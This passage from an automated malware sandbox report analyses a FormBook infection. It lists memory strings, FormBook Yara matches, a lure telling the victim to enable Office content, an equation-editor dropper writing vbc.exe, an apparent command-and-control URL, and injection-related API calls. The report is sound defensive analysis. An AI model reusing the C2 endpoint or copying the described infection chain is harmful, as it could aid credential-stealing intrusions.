Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mtv.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.myspace.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.najdi.si/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.najdi.si/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.nate.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.neckermann.de/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.neckermann.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.news.com.au/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.nifty.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ocn.ne.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.orange.fr/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.otto.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ozon.ru/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ozon.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ozu.es/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.paginasamarillas.es/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.paginasamarillas.es/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.pchome.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2180575520.00000000039F4000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000006.00000000.2189266307.000000000856E000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.priceminister.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.priceminister.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rakuten.co.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rambler.ru/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rambler.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.recherche.aol.fr/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rtl.de/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rtl.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.servicios.clarin.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.shopzilla.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.sify.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.so-net.ne.jp/share/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.sogou.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.sogou.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.soso.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.soso.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.t-online.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.taobao.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.taobao.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.target.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.target.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tchibo.de/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tchibo.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tesco.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tesco.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.timesonline.co.uk/img/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tiscali.it/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.univision.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.univision.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.walmart.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.walmart.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2180707596.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ya.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.yam.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www3.fnac.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www3.fnac.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://xml-us.amznxslt.com/onca/xml?Service=AWSECommerceService&Version=2008-06-26&Operation
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://z.about.com/m/a08.ico
Source: help.exe, 00000007.00000002.2376290691.0000000001262000.00000004.00000001.sdmp	String found in binary or memory: https://calusapta.membershiptoolkit.com/gqx2/?LBbXpL=NDTQX7mapLrAPB2lUlM56Hgg

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4

Screenshot OCR: Enable Content from the yellow bar above 24 25 26 27 28 29 30 31 0 0 32 33 0 0 34 35

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe			Jump to dropped file

Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior

Source: C:\Users\Public\vbc.exe	Code function: 5_2_004181C0 NtCreateFile,	5_2_004181C0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00418270 NtReadFile,	5_2_00418270
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004182F0 NtClose,	5_2_004182F0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004183A0 NtAllocateVirtualMemory,	5_2_004183A0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004181BA NtCreateFile,	5_2_004181BA
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041826B NtReadFile,	5_2_0041826B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00418212 NtCreateFile,	5_2_00418212
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B400C4 NtCreateFile,LdrInitializeThunk,	5_2_00B400C4
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B40078 NtResumeThread,LdrInitializeThunk,	5_2_00B40078
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B40048 NtProtectVirtualMemory,LdrInitializeThunk,	5_2_00B40048
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B407AC NtCreateMutant,LdrInitializeThunk,	5_2_00B407AC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3F9F0 NtClose,LdrInitializeThunk,	5_2_00B3F9F0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3F900 NtReadFile,LdrInitializeThunk,	5_2_00B3F900
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FAE8 NtQueryInformationProcess,LdrInitializeThunk,	5_2_00B3FAE8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_00B3FAD0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FBB8 NtQueryInformationToken,LdrInitializeThunk,	5_2_00B3FBB8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FB68 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_00B3FB68
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FC90 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_00B3FC90
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FC60 NtMapViewOfSection,LdrInitializeThunk,	5_2_00B3FC60
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FD8C NtDelayExecution,LdrInitializeThunk,	5_2_00B3FD8C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FDC0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_00B3FDC0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FEA0 NtReadVirtualMemory,LdrInitializeThunk,	5_2_00B3FEA0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	5_2_00B3FED0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FFB4 NtCreateSection,LdrInitializeThunk,	5_2_00B3FFB4
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B410D0 NtOpenProcessToken,	5_2_00B410D0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B40060 NtQuerySection,	5_2_00B40060
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B401D4 NtSetValueKey,	5_2_00B401D4
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B4010C NtOpenDirectoryObject,	5_2_00B4010C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B41148 NtOpenThread,	5_2_00B41148
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3F8CC NtWaitForSingleObject,	5_2_00B3F8CC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B41930 NtSetContextThread,	5_2_00B41930
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3F938 NtWriteFile,	5_2_00B3F938
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FAB8 NtQueryValueKey,	5_2_00B3FAB8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FA20 NtQueryInformationFile,	5_2_00B3FA20
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FA50 NtEnumerateValueKey,	5_2_00B3FA50
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FBE8 NtQueryVirtualMemory,	5_2_00B3FBE8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FB50 NtCreateKey,	5_2_00B3FB50
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FC30 NtOpenProcess,	5_2_00B3FC30
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B40C40 NtGetContextThread,	5_2_00B40C40
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FC48 NtSetInformationFile,	5_2_00B3FC48
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B41D80 NtSuspendThread,	5_2_00B41D80
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FD5C NtEnumerateKey,	5_2_00B3FD5C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FE24 NtWriteVirtualMemory,	5_2_00B3FE24
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FFFC NtCreateProcessEx,	5_2_00B3FFFC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B3FF34 NtQueueApcThread,	5_2_00B3FF34
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009600C4 NtCreateFile,LdrInitializeThunk,	7_2_009600C4
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009607AC NtCreateMutant,LdrInitializeThunk,	7_2_009607AC
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095F9F0 NtClose,LdrInitializeThunk,	7_2_0095F9F0
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095F900 NtReadFile,LdrInitializeThunk,	7_2_0095F900
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FAB8 NtQueryValueKey,LdrInitializeThunk,	7_2_0095FAB8
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	7_2_0095FAD0
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FAE8 NtQueryInformationProcess,LdrInitializeThunk,	7_2_0095FAE8
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FBB8 NtQueryInformationToken,LdrInitializeThunk,	7_2_0095FBB8
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FB50 NtCreateKey,LdrInitializeThunk,	7_2_0095FB50
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FB68 NtFreeVirtualMemory,LdrInitializeThunk,	7_2_0095FB68
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FC60 NtMapViewOfSection,LdrInitializeThunk,	7_2_0095FC60
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FD8C NtDelayExecution,LdrInitializeThunk,	7_2_0095FD8C
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FDC0 NtQuerySystemInformation,LdrInitializeThunk,	7_2_0095FDC0
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	7_2_0095FED0
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FFB4 NtCreateSection,LdrInitializeThunk,	7_2_0095FFB4
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009610D0 NtOpenProcessToken,	7_2_009610D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00960048 NtProtectVirtualMemory,	7_2_00960048
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00960078 NtResumeThread,	7_2_00960078
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00960060 NtQuerySection,	7_2_00960060
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009601D4 NtSetValueKey,	7_2_009601D4
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0096010C NtOpenDirectoryObject,	7_2_0096010C
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00961148 NtOpenThread,	7_2_00961148
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095F8CC NtWaitForSingleObject,	7_2_0095F8CC
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00961930 NtSetContextThread,	7_2_00961930
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095F938 NtWriteFile,	7_2_0095F938
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FA20 NtQueryInformationFile,	7_2_0095FA20
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FA50 NtEnumerateValueKey,	7_2_0095FA50
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FBE8 NtQueryVirtualMemory,	7_2_0095FBE8
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FC90 NtUnmapViewOfSection,	7_2_0095FC90
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FC30 NtOpenProcess,	7_2_0095FC30
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00960C40 NtGetContextThread,	7_2_00960C40
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FC48 NtSetInformationFile,	7_2_0095FC48
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00961D80 NtSuspendThread,	7_2_00961D80
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FD5C NtEnumerateKey,	7_2_0095FD5C
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FEA0 NtReadVirtualMemory,	7_2_0095FEA0
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FE24 NtWriteVirtualMemory,	7_2_0095FE24
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FFFC NtCreateProcessEx,	7_2_0095FFFC
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0095FF34 NtQueueApcThread,	7_2_0095FF34
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_000981C0 NtCreateFile,	7_2_000981C0
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00098270 NtReadFile,	7_2_00098270
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_000982F0 NtClose,	7_2_000982F0
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_000983A0 NtAllocateVirtualMemory,	7_2_000983A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_000981BA NtCreateFile,	7_2_000981BA
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00098212 NtCreateFile,	7_2_00098212
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0009826B NtReadFile,	7_2_0009826B
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_006C632E NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,	7_2_006C632E
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_006C67C7 NtQueryInformationProcess,RtlWow64SuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread,	7_2_006C67C7
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_006C6332 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_006C6332
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_006C67C2 NtQueryInformationProcess,	7_2_006C67C2

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00322148	4_2_00322148
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00321BA0	4_2_00321BA0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00321E90	4_2_00321E90
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00323B38	4_2_00323B38
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00323B28	4_2_00323B28
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041C81E	5_2_0041C81E
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00401030	5_2_00401030
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041D03C	5_2_0041D03C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041CB97	5_2_0041CB97
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00408C5F	5_2_00408C5F
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00408C60	5_2_00408C60
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041B509	5_2_0041B509
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00402D90	5_2_00402D90
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041C5BB	5_2_0041C5BB
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041CE4C	5_2_0041CE4C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00402FB0	5_2_00402FB0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B4E0C6	5_2_00B4E0C6
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B7D005	5_2_00B7D005
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B6905A	5_2_00B6905A
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B53040	5_2_00B53040
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B4E2E9	5_2_00B4E2E9
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BF1238	5_2_00BF1238
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BF63BF	5_2_00BF63BF
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B763DB	5_2_00B763DB
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B4F3CF	5_2_00B4F3CF
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B52305	5_2_00B52305
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B9A37B	5_2_00B9A37B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B57353	5_2_00B57353
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B85485	5_2_00B85485
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B61489	5_2_00B61489
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BD443E	5_2_00BD443E
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B8D47D	5_2_00B8D47D
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B6C5F0	5_2_00B6C5F0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B5351F	5_2_00B5351F
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B96540	5_2_00B96540
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B54680	5_2_00B54680
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B5E6C1	5_2_00B5E6C1
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B9A634	5_2_00B9A634
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BF2622	5_2_00BF2622
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B5C7BC	5_2_00B5C7BC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BD579A	5_2_00BD579A
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B857C3	5_2_00B857C3
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BEF8EE	5_2_00BEF8EE
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B7286D	5_2_00B7286D
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B5C85C	5_2_00B5C85C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B529B2	5_2_00B529B2
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BF098E	5_2_00BF098E
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B669FE	5_2_00B669FE
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BD5955	5_2_00BD5955
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BD394B	5_2_00BD394B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00C03A83	5_2_00C03A83
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BFCBA4	5_2_00BFCBA4
